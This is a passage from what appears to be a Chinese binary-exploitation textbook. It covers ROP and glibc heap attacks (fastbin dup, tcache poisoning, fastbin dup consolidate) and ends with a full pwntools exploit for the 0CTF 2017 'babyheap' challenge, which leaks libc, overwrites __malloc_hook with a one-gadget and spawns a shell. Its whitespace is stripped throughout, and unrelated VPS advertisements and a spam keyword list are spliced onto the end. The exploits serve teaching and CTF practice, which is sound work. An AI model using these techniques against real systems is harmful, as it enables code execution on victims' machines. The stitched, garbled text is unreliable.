6",RTLD_NOW|RTLD_GLOBAL);printf("%p\n",dlsym(handle,"system"));vuln_func();write(STDOUT_FILENO,"Helloworld!
\n",13);}$gcc-fno-stack-protector-znoexecstack-pie-fpierop.
c-ldl-orop64$ROPgadget--binary/lib/x86_64-linux-gnu/libc-2.
23.
so--only"pop|ret"|greprdi第10章栈溢出与ROPXLIX0x0000000000021102:poprdi;ret方便起见,程序直接打印了system函数的地址,来模拟信息泄露.
完整的利用代码如下所示.
frompwnimport*io=process('.
/rop64')libc=ELF('/lib/x86_64-linux-gnu/libc-2.
23.
so')system_addr=int(io.
recvline(),16)libc_addr=system_addr-libc.
sym['system']binsh_addr=libc_addr+next(libc.
search('/bin/sh'))pop_rdi_addr=libc_addr+0x0000000000021102payload="A"*136+p64(pop_rdi_addr)+p64(binsh_addr)+p64(system_addr)io.
send(payload)io.
interactive()第11章堆利用L第11章堆利用11.
3fastbin二次释放由于fastbin采用单链表结构(通过fd指针进行链接),且当chunk释放时,不会清空next_chunk的prev_inuse,再加上一些检查机制上的不完善,使得fastbin比较脆弱.
针对它的攻击方法包括二次释放、修改fd指针并申请(或释放)任意位置的chunk(或fakechunk)等,条件是存在堆溢出或者其他漏洞可以控制chunk的内容.
11.
3.
1fastbindupfastbinchunk可以很轻松地绕过检查多次释放,当这些chunk被重新分配出来时,就会导致多个指针指向同一个chunk.
fastbin对二次释放的检查机制仅仅验证了当前块是否与链表头部的块相同,而对链表中其他的块则没有做验证.
另外,在释放时还有对当前块的size域与头部块的size域是否相等的检查,由于我们释放的是同一个块,也就不存在该问题,如下所示.
mchunkptrold=*fb,old2;unsignedintold_idx=~0u;do{/*Checkthatthetopofthebinisnottherecordwearegoingtoadd(i.
e.
,doublefree).
*/if(__builtin_expect(old==p,0)){errstr="doublefreeorcorruption(fasttop)";gotoerrout;}if(have_lock&&old!
=NULL)old_idx=fastbin_index(chunksize(old));p->fd=old2=old;}while((old=catomic_compare_and_exchange_val_rel(fb,p,old2))!
=old2);第11章堆利用LIif(have_lock&&old!
=NULL&&__builtin_expect(old_idx!
=idx,0)){errstr="invalidfastbinentry(free)";gotoerrout;}下面来看一个例子,在两次调用free(a)之间,插入其他的释放操作,即可绕过检查.
#include#includeintmain(){/*fastbindouble-free*/int*a=malloc(8);//malloc3buffersint*b=malloc(8);int*c=malloc(8);fprintf(stderr,"malloca:%p\n",a);fprintf(stderr,"mallocb:%p\n",b);fprintf(stderr,"mallocc:%p\n",c);free(a);//freethefirstonefree(b);//freetheotheronefree(a);//freethefirstoneagainfprintf(stderr,"freea=>freeb=>freea\n");int*d=malloc(8);//malloc3buffersagainint*e=malloc(8);int*f=malloc(8);fprintf(stderr,"mallocd:%p\n",d);fprintf(stderr,"malloce:%p\n",e);fprintf(stderr,"mallocf:%p\n",f);for(inti=0;ifreeb=>freeamallocd:0x186c010malloce:0x186c030mallocf:0x186c0100x186c0300x186c010.
.
.
stack_var:0x7ffe9a4da1b0mallocg:0x186c030malloch:0x186c010malloci:0x186c030mallocj:0x7ffe9a4da1b8先看程序的前半部分(标记为"fastbindouble-free"),释放后的fastbins如下所示.
gefpmain_arena.
fastbinsY$1={0x602000,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0}gefx/16gx0x6020000x602000:0x00000000000000000x0000000000000021fd,victim))!
=victim);if(victim!
=0){if(__builtin_expect(fastbin_index(chunksize(victim))!
=idx,0)){errstr="malloc():memorycorruption(fast)";errout:malloc_printerr(check_action,errstr,chunk2mem(victim),av);returnNULL;}check_remalloced_chunk(av,victim,nb);void*p=chunk2mem(victim);alloc_perturb(p,bytes);returnp;}}fastbin_index()的计算方式如下所示.
/*offset2touseotherwiseunindexablefirst2bins*/第11章堆利用LV#definefastbin_index(sz)\((((unsignedint)(sz))>>(SIZE_SZ==84:3))-2)最后,我们来看libc-2.
26,由于新添加的tcache机制不会检查二次释放,因此不必考虑如何绕过的问题,直接释放两次即可,fastbindup变得更加简单,甚至还不局限于fastbin大小的chunk,我们称之为tcachedup.
下面是一个示例程序.
#include#includeintmain(){void*p1=malloc(0x10);fprintf(stderr,"1stmalloc(0x10):%p\n",p1);fprintf(stderr,"freethechunktwice\n");free(p1);free(p1);fprintf(stderr,"2ndmalloc(0x10):%p\n",malloc(0x10));fprintf(stderr,"3rdmalloc(0x10):%p\n",malloc(0x10));}$gcc-L/usr/local/glibc-2.
26/lib-Wl,--rpath=/usr/local/glibc-2.
26/lib-Wl,-I/usr/local/glibc-2.
26/lib/ld-2.
26.
so-gtcache_dup.
c-otcache_dup$.
/tcache_dup1stmalloc(0x10):0x2164260freethechunktwice2ndmalloc(0x10):0x21642603rdmalloc(0x10):0x2164260同样地,fastbindupintostack攻击也可以对应到tcachedupintostack攻击,或者称为tcachepoisoning.
其方法是修改tcachebin中chunk的fd指针为目标位置,也就是改变tcache_entry的next指针,在调用malloc()时即可在目标位置得到chunk.
对此,tcache_get()函数没有做任何的检查.
示例程序如下.
#include#includeintmain(){int64_t*p1,*p2,*p3,target[10];printf("targetstack:%p\n",target);p1=malloc(0x30);fprintf(stderr,"p1malloc(0x30):%p\n",p1);free(p1);*p1=(int64_t)target;fprintf(stderr,"free(p1)andoverwritethenextptr\n");p2=malloc(0x30);p3=malloc(0x30);fprintf(stderr,"p2malloc(0x30):%p\np3malloc(0x30):%p\n",p2,p3);}$gcc-L/usr/local/glibc-2.
26/lib-Wl,--rpath=/usr/local/glibc-2.
26/lib-Wl,-I/usr/local/glibc-2.
26/lib/ld-2.
26.
so-gtcache_poisoning.
c-o第11章堆利用LVItcache_poisoning$.
/tcache_poisoningtargetstack:0x7ffc324602a0p1malloc(0x30):0x2593670free(p1)andoverwritethenextptrp2malloc(0x30):0x2593670p3malloc(0x30):0x7ffc324602a011.
3.
2fastbindupconsolidatefastbindupconsolidate是另一种绕过fastbin二次释放检查的方法.
我们知道libc在分配largechunk时,如果fastbins不为空,则调用malloc_consolidate()函数合并里面的chunk,并放入unsortedbin;接下来,unsortedbin中的chunk又被取出放回各自对应的bins.
此时fastbins被清空,再次释放时也就不会触发二次释放.
if(in_smallbin_range(nb)){.
.
.
.
.
.
}else{idx=largebin_index(nb);if(have_fastchunks(av))malloc_consolidate(av);}for(;;){intiters=0;while((victim=unsorted_chunks(av)->bk)!
=unsorted_chunks(av)){.
.
.
.
.
.
/*removefromunsortedlist*/unsorted_chunks(av)->bk=bck;bck->fd=unsorted_chunks(av);.
.
.
.
.
.
/*placechunkinbin*/if(in_smallbin_range(size)){victim_index=smallbin_index(size);bck=bin_at(av,victim_index);fwd=bck->fd;}else{示例程序如下.
#include#includeintmain(){void*p1=malloc(8);void*p2=malloc(8);fprintf(stderr,"malloctwofastbinchunk:p1=%pp2=%p\n",p1,p2);free(p1);fprintf(stderr,"freep1\n");第11章堆利用LVIIvoid*p3=malloc(0x400);fprintf(stderr,"malloclargechunk:p3=%p\n",p3);free(p1);fprintf(stderr,"doublefreep1\n");fprintf(stderr,"malloctwofastbinchunk:%p%p\n",malloc(8),malloc(8));}$gcc-gfastbin_dup_consolidate.
c-ofastbin_dup_consolidate$.
/fastbin_dup_consolidatemalloctwofastbinchunk:p1=0x7f9010p2=0x7f9030freep1malloclargechunk:p3=0x7f9050doublefreep1malloctwofastbinchunk:0x7f90100x7f9010与fastbindup中两个被释放的chunk都被放入fastbins不同,此次释放的两个chunk分别位于smallbins和fastbins.
此时连续分配两个相同大小的fastbinchunk,分别从fastbins和smallbins中取出,如下所示.
gefheapbinsfastFastbins[idx=0,size=0x10]←Chunk(addr=0x602010,size=0x20,flags=PREV_INUSE)gefheapbinssmall[+]small_bins[1]:fw=0x602000,bk=0x602000→Chunk(addr=0x602010,size=0x20,flags=PREV_INUSE)gefx/12gx0x602010-0x100x602000:0x00000000000000000x0000000000000021#p10x602010:0x00000000000000000x00007ffff7dd1b880x602020:0x00000000000000200x0000000000000020#p20x602030:0x00000000000000000x00000000000000000x602040:0x00000000000000000x0000000000000411#p30x602050:0x00000000000000000x0000000000000000gefx/20gx(void*)&main_arena+0x80x7ffff7dd1b28:0x00000000006020000x0000000000000000#fastbins0x7ffff7dd1b38:0x00000000000000000x0000000000000000.
.
.
.
.
.
0x7ffff7dd1b68:0x00000000000000000x00000000000000000x7ffff7dd1b78:0x00000000006024500x0000000000000000#unsortedthunks0x7ffff7dd1b88:0x00007ffff7dd1b780x00007ffff7dd1b78#small_binsthunks0x7ffff7dd1b98:0x00000000006020000x0000000000602000#fd,bk0x7ffff7dd1ba8:0x00007ffff7dd1b980x00007ffff7dd1b980x7ffff7dd1bb8:0x00007ffff7dd1ba80x00007ffff7dd1ba8需要注意的是,虽然fastbinchunk的nextchunk的PREV_INUSE标志永远为1,但是如果该fastbinchunk被放到unsortedbin中,nextchunk的PREV_INUSE也会相应被修改为0.
这一点对构造不安全的unlink攻击很有帮助.
图11-12展示了chunkp1同时存在于fastbins和smallbins中的情景.
第11章堆利用LVIII图11-12chunkp1同时存在于两个链表中11.
3.
30CTF2017:babyheap例题来自2017年的0CTF,考察了简单的堆利用技术.
$filebabyheapbabyheap:ELF64-bitLSBsharedobject,x86-64,version1(SYSV),dynamicallylinked,interpreter/lib64/ld-linux-x86-64.
so.
2,forGNU/Linux2.
6.
32,BuildID[sha1]=9e5bfa980355d6158a76acacb7bda01f4e3fc1c2,stripped$pwnchecksecbabyheapArch:amd64-64-littleRELRO:FullRELROStack:CanaryfoundNX:NXenabledPIE:PIEenabled程序分析使用IDA进行逆向分析,程序可分为Allocate、Fill、Free和Dump四个部分.
我们先来看负责分配堆块的Allocate部分.
void__fastcallsub_D48(__int64a1){signedinti;//[rsp+10h][rbp-10h]signedintv2;//[rsp+14h][rbp-Ch]void*v3;//[rsp+18h][rbp-8h]for(i=0;i0){if(v2>0x1000)v2=0x1000;v3=calloc(v2,1uLL);//bufif(!
v3)exit(-1);*(_DWORD*)(0x18LL*i+a1)=1;//table[i].
in_use*(_QWORD*)(a1+0x18LL*i+8)=v2;//table[i].
size第11章堆利用LIX*(_QWORD*)(a1+0x18LL*i+0x10)=v3;//table[i].
buf_ptrprintf("AllocateIndex%d\n",(unsignedint)i);}return;}}}参数a1是sub_B70函数的返回值,是一个随机生成的内存地址,在该地址上通过mmap系统调用开辟了一段内存空间,用于存放最多16个结构体,我们暂且称它为table,每个结构体包含in_use、size和buf_ptr三个域,分别表示堆块是否在使用、堆块大小和指向堆块缓冲区的指针.
至于这里为什么特意使用了mmap,我们后面再解释.
sub_D48函数通过遍历找到第一个未被使用的结构体,然后请求读入一个数作为size,并分配size大小的堆块,最后更新该结构体.
需要注意的是,这里使用calloc()而不是malloc()作为堆块分配函数,意味着所得到的内存空间被初始化为0.
然后来看负责填充的Fill部分.
该函数首先读入一个数作为索引,找到其对应的结构体并判断该结构体是否被使用,如果是,则读入第二个数作为size,然后将该结构体的buf_ptr域和size作为参数调用函数sub_11B2().
__int64__fastcallsub_E7F(__int64a1){__int64result;//raxintv2;//[rsp+18h][rbp-8h]intv3;//[rsp+1Ch][rbp-4h]printf("Index:");result=sub_138C();//indexv2=result;if((signedint)result>=0&&(signedint)result0){printf("Content:");result=sub_11B2(*(_QWORD*)(0x18LL*v2+a1+0x10),v3);//table[v2].
buf_ptr,size}}}returnresult;}于是我们转到sub_11B2(),该函数用于读入a2个字符到a1地址处.
while的逻辑保证了一定且只能够读入a2个字符,但对于得到的字符串是否以"\n"结尾并不关心,这就为信息泄露埋下了隐患.
unsigned__int64__fastcallsub_11B2(__int64a1,unsigned__int64a2){第11章堆利用LXunsigned__int64v3;//[rsp+10h][rbp-10h]ssize_tv4;//[rsp+18h][rbp-8h]if(!
a2)return0LL;v3=0LL;while(v30){v3+=v4;}elseif(*_errno_location()!
=11&&*_errno_location()!
=4){returnv3;}}returnv3;}接下来是负责释放堆块的Free部分.
该函数同样读入一个数作为索引,并找到对应的结构体,释放堆块缓冲区,并将全部域清零.
__int64__fastcallsub_F50(__int64a1){__int64result;//raxintv2;//[rsp+1Ch][rbp-4h]printf("Index:");result=sub_138C();//indexv2=result;if((signedint)result>=0&&(signedint)resultfd指向chunk1.
如果利用堆溢出漏洞修改chunk2->fd,使其指向chunk4,就可以将smallchunk链接到fastbin中,当然还需要把chunk4->size的0x91改成0x21以绕过malloc对fastbinchunk大小的检查.
思考一下,其实我们并不知道heap的地址,因为它是随机的,但是我们知道heap起始地址的低位字节一定是0x00,从而推测出chunk4的低位字节一定是0x80.
于是我们也可以回答为什么在申请table空间的时候使用mmap系统调用,而不是malloc系列函数,就是为了保证chunk是从heap的起始地址开始分配的.
结果如下所示.
gefx/36gx0x000055620ca320000x55620ca32000:0x00000000000000000x0000000000000021#chunk00x55620ca32010:0x41414141414141410x41414141414141410x55620ca32020:0x00000000000000000x0000000000000021#chunk1[free]0x55620ca32030:0x00000000000000000x41414141414141410x55620ca32040:0x00000000000000000x0000000000000021#chunk2[free]0x55620ca32050:0x000055620ca320800x00000000000000000x55620ca32060:0x00000000000000000x0000000000000021#chunk30x55620ca32070:0x41414141414141410x41414141414141410x55620ca32080:0x00000000000000000x0000000000000021#chunk40x55620ca32090:0x00000000000000000x0000000000000000.
.
.
.
.
.
0x55620ca32100:0x00000000000000000x00000000000000000x55620ca32110:0x00000000000000000x0000000000020ef1#topchunk此时我们只需要再次申请空间,根据fastbins后进先出的机制,即可在原chunk2的位置创建一个newchunk1,在chunk4的位置创造一个重叠的newchunk2,也就是本节所讲的fastbindup.
gefx/36gx0x000055620ca320000x55620ca32000:0x00000000000000000x0000000000000021#chunk00x55620ca32010:0x41414141414141410x41414141414141410x55620ca32020:0x00000000000000000x0000000000000021#chunk1[free]0x55620ca32030:0x00000000000000000x41414141414141410x55620ca32040:0x00000000000000000x0000000000000021#newchunk10x55620ca32050:0x00000000000000000x00000000000000000x55620ca32060:0x00000000000000000x0000000000000021#chunk30x55620ca32070:0x41414141414141410x41414141414141410x55620ca32080:0x00000000000000000x0000000000000021#chunk4,newchunk20x55620ca32090:0x00000000000000000x0000000000000000.
.
.
.
.
.
0x55620ca32100:0x00000000000000000x00000000000000000x55620ca32110:0x00000000000000000x0000000000020ef1#topchunkgefx/18gx0x20dc959e07c0-0x100x20dc959e07b0:0x00000000000000010x0000000000000010#table0x20dc959e07c0:0x000055620ca320100x00000000000000010x20dc959e07d0:0x00000000000000100x000055620ca320500x20dc959e07e0:0x00000000000000010x00000000000000100x20dc959e07f0:0x000055620ca320900x0000000000000001#table[2]第11章堆利用LXIII0x20dc959e0800:0x00000000000000100x000055620ca320700x20dc959e0810:0x00000000000000010x00000000000000800x20dc959e0820:0x000055620ca320900x0000000000000000#table[4]0x20dc959e0830:0x00000000000000000x0000000000000000接下来我们将chunk4->size修改回0x91,并申请另一个smallchunk以防止chunk4与topchunk合并,此时释放chunk4就可将其放入unsorted_bin.
gefx/36gx0x000055620ca320000x55620ca32000:0x00000000000000000x0000000000000021#chunk00x55620ca32010:0x41414141414141410x41414141414141410x55620ca32020:0x00000000000000000x0000000000000021#chunk1[free]0x55620ca32030:0x00000000000000000x41414141414141410x55620ca32040:0x00000000000000000x0000000000000021#chunk20x55620ca32050:0x00000000000000000x00000000000000000x55620ca32060:0x00000000000000000x0000000000000021#chunk30x55620ca32070:0x41414141414141410x41414141414141410x55620ca32080:0x00000000000000000x0000000000000091#chunk4[free]0x55620ca32090:0x00007f3d58cabb780x00007f3d58cabb78#fd,bk0x55620ca320a0:0x00000000000000000x0000000000000000.
.
.
.
.
.
0x55620ca32100:0x00000000000000000x00000000000000000x55620ca32110:0x00000000000000900x0000000000000090#chunk5gefheapbinsunsorted[+]unsorted_bins[0]:fw=0x55620ca32080,bk=0x55620ca32080→Chunk(addr=0x55620ca32090,size=0x90,flags=PREV_INUSE)gefvmmaplibcStartEndOffsetPermPath0x00007f3d588e70000x00007f3d58aa70000x0000000000000000r-x/.
.
.
/libc-2.
23.
so0x00007f3d58aa70000x00007f3d58ca70000x00000000001c0000libc-2.
23.
so0x00007f3d58ca70000x00007f3d58cab0000x00000000001c0000r--/.
.
.
/libc-2.
23.
so0x00007f3d58cab0000x00007f3d58cad0000x00000000001c4000rw-/.
.
.
/libc-2.
23.
so此时被释放的chunk4的fd,bk指针均指向libc中的地址,只要将其泄露出来,通过计算即可得到libc中的偏移,进而得到one-gadget的地址.
gefp0x00007f3d58cabb78-0x00007f3d588e7000$1=0x3c4b78我们知道,__malloc_hook是一个弱类型的函数指针变量,指向void*function(size_tsize,void*caller),当调用malloc()函数时,首先会判断hook函数指针是否为空,不为空则调用它.
所以接下来再次利用fastbindup修改__malloc_hook使其指向one-gadget.
但由于fastchunk的大小只能在0x20到0x80之间,我们就需要一点小小的技巧,即错位偏移,如下所示.
gefx/10gx(longlong)(&main_arena)-0x300x7f3d58cabaf0:0x00007f3d58caa2600x00000000000000000x7f3d58cabb00:0x00007f3d5896ce200x00007f3d5896ca000x7f3d58cabb10:0x00000000000000000x0000000000000000#target0x7f3d58cabb20:0x00000000000000000x00000000000000000x7f3d58cabb30:0x00000000000000000x0000000000000000第11章堆利用LXIVgefx/8gx(longlong)(&main_arena)-0x30+0xd0x7f3d58cabafd:0x3d5896ce200000000x3d5896ca0000007f0x7f3d58cabb0d:0x000000000000007f0x0000000000000000#fakechunk0x7f3d58cabb1d:0x00000000000000000x00000000000000000x7f3d58cabb2d:0x00000000000000000x0000000000000000我们先将一个fastchunk放进fastbin(与0x7f大小的fakechunk相匹配),修改其fd指针指向fakechunk.
然后将fakechunk分配出来,进而修改其数据为one-gadget.
最后,只要调用calloc()触发hook函数,即可执行one-gadget获得shell.
gefx/24gx0x20dc959e07c0-0x100x20dc959e07b0:0x00000000000000010x0000000000000010#table0x20dc959e07c0:0x000055620ca320100x00000000000000010x20dc959e07d0:0x00000000000000100x000055620ca320500x20dc959e07e0:0x00000000000000010x00000000000000100x20dc959e07f0:0x000055620ca320900x00000000000000010x20dc959e0800:0x00000000000000100x000055620ca320700x20dc959e0810:0x00000000000000010x00000000000000600x20dc959e0820:0x000055620ca320900x00000000000000010x20dc959e0830:0x00000000000000800x000055620ca321200x20dc959e0840:0x00000000000000010x00000000000000600x20dc959e0850:0x00007f3d58cabb0d0x0000000000000000#table[6]0x20dc959e0860:0x00000000000000000x0000000000000000gefx/10gx(longlong)(&main_arena)-0x300x7f3d58cabaf0:0x00007f3d58caa2600x00000000000000000x7f3d58cabb00:0x00007f3d5896ce200x0000003d5896ca000x7f3d58cabb10:0x00007f3d5892c26a0x00000000000000000x7f3d58cabb20:0x00000000000000000x00000000000000000x7f3d58cabb30:0x00000000000000000x0000000000000000其实,本题还有很多种调用one-gadget的方法,例如修改__realloc_hook和__free_hook,或者修改IO_FILE结构体等,我们会在12.
3节中补充介绍.
解题代码frompwnimport*io=remote('0.
0.
0.
0',10001)#io=process('.
/babyheap')libc=ELF('/lib/x86_64-linux-gnu/libc-2.
23.
so')defalloc(size):io.
sendlineafter("Command:",'1')io.
sendlineafter("Size:",str(size))deffill(idx,cont):io.
sendlineafter("Command:",'2')io.
sendlineafter("Index:",str(idx))io.
sendlineafter("Size:",str(len(cont)))io.
sendafter("Content:",cont)deffree(idx):io.
sendlineafter("Command:",'3')io.
sendlineafter("Index:",str(idx))第11章堆利用LXVdefdump(idx):io.
sendlineafter("Command:",'4')io.
sendlineafter("Index:",str(idx))io.
recvuntil("Content:\n")returnio.
recvline()deffastbin_dup():alloc(0x10)#chunk0alloc(0x10)#chunk1alloc(0x10)#chunk2alloc(0x10)#chunk3alloc(0x80)#chunk4free(1)free(2)payload="A"*0x10payload+=p64(0)+p64(0x21)payload+=p64(0)+"A"*8payload+=p64(0)+p64(0x21)payload+=p8(0x80)#chunk2->fd=>chunk4fill(0,payload)payload="A"*0x10payload+=p64(0)+p64(0x21)#chunk4->sizefill(3,payload)alloc(0x10)#chunk1alloc(0x10)#chunk2,overlapchunk4defleak_libc():globallibc_base,malloc_hookpayload="A"*0x10payload+=p64(0)+p64(0x91)#chunk4->sizefill(3,payload)alloc(0x80)#chunk5free(4)leak_addr=u64(dump(2)[:8])libc_base=leak_addr-0x3c4b78malloc_hook=libc_base+libc.
symbols['__malloc_hook']log.
info("leakaddress:0x%x"%leak_addr)log.
info("libcbase:0x%x"%libc_base)log.
info("__malloc_hookaddress:0x%x"%malloc_hook)defpwn():alloc(0x60)#chunk4free(4)fill(2,p64(malloc_hook-0x20+0xd))第11章堆利用LXVIalloc(0x60)#chunk4alloc(0x60)#chunk6(fakechunk)one_gadget=libc_base+0x4526afill(6,p8(0)*3+p64(one_gadget))#__malloc_hook=>one-gadgetalloc(1)io.
interactive()if__name__=='__main__':fastbin_dup()leak_libc()pwn()

木木云35元/月,美国vps服务器优惠,1核1G/500M带宽/1T硬盘/4T流量

木木云怎么样?木木云品牌成立于18年,此为贵州木木云科技有限公司旗下新运营高端的服务器的平台,目前已上线美国中部大盘鸡,母鸡采用E5-267X系列,硬盘全部组成阵列。目前,木木云美国vps进行了优惠促销,1核1G/500M带宽/1T硬盘/4T流量,仅35元/月。点击进入:木木云官方网站地址木木云优惠码:提供了一个您专用的优惠码: yuntue目前我们有如下产品套餐:DV型 1H 1G 500M带宽...

青云互联:洛杉矶CN2弹性云限时七折,Cera机房三网CN2gia回程,13.3元/月起

青云互联怎么样?青云互联是一家成立于2020年6月份的主机服务商,致力于为用户提供高性价比稳定快速的主机托管服务,目前提供有美国免费主机、香港主机、香港服务器、美国云服务器,让您的网站高速、稳定运行。目前,美国洛杉矶cn2弹性云限时七折,美国cera机房三网CN2gia回程 13.3元/月起,可选Windows/可自定义配置。点击进入:青云互联官网青云互联优惠码:七折优惠码:dVRKp2tP (续...

宝塔面板企业版和专业版618年中活动 永久授权仅1888元+

我们一般的站长或者企业服务器配置WEB环境会用到免费版本的宝塔面板。但是如果我们需要较多的付费插件扩展,或者是有需要企业功能应用的,短期来说我们可能选择按件按月付费的比较好,但是如果我们长期使用的话,有些网友认为选择宝塔面板企业版或者专业版是比较划算的。这样在年中大促618的时候,我们也可以看到宝塔面板也有发布促销活动。企业版年付899元,专业版永久授权1888元起步。对于有需要的网友来说,还是值...

百度快照在哪为你推荐
involving网易yeah小企业如何做品牌一个小企业,如何做大做强?wordpress模板wordpress的模版怎么用X1080012高等数学Ⅱ课程教学大纲文档下载如何 下载 文库文件加多宝和王老吉王老吉和加多宝谁好喝点?新团网美团网是谁创办的呀?中国保健养猪网中央7台致富经养猪免费代理加盟怎样免费加盟代理淘宝团购程序什么是团购 团购的目的与流程
国内最好的虚拟主机 中文国际域名 vps服务器 免费动态域名解析 lamp 密码泄露 cpanel空间 Updog 阿里云手机官网 后门 攻击服务器 卡巴斯基官网下载 zencart安装 域名商城 西安电信测速网 ddos攻击器下载 ddos攻击小组 远程主机强迫关闭了一个现有的连接 免费网络电视直播 好看的空间留言代码 更多